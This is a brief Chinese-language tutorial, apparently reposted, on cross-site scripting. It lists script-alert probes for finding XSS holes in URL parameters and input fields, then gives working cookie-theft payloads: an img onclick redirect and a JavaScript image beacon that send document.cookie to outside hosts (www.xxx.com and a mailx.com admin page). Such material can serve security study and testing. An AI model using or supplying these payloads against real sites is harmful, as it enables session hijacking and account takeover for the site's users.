web安全 之 xss攻击

来源:互联网 发布:数据库业务流程 编辑:程序博客网 时间:2024/04/26 01:09

1、嵌入js代码,测试是否有xss注入漏洞
1.1、get参数嵌入,页面返回有弹框alert,存在xss漏洞
index.php?abc=<script>alert(11);</script>
1.2、在输入框嵌入,提交后查看相应页面,页面返回有弹框alert,存在xss漏洞
<script>alert(11);</script>
1.3、页面alert cookie
<script>alert(document.cookie);</script>

2、诱导用户点击类似
<img onclick="javascript:window.location.href='www.xxx.com/index.php?info='+document.cookie" />
远程服务器保存cookie
或者
var img = document.createElement("img");
img.src = 'http://www.mailx.com/tvswc/admin.php?r=activity/test11&cookie='+escape(document.cookie);
document.body.appendChild(img);
0 0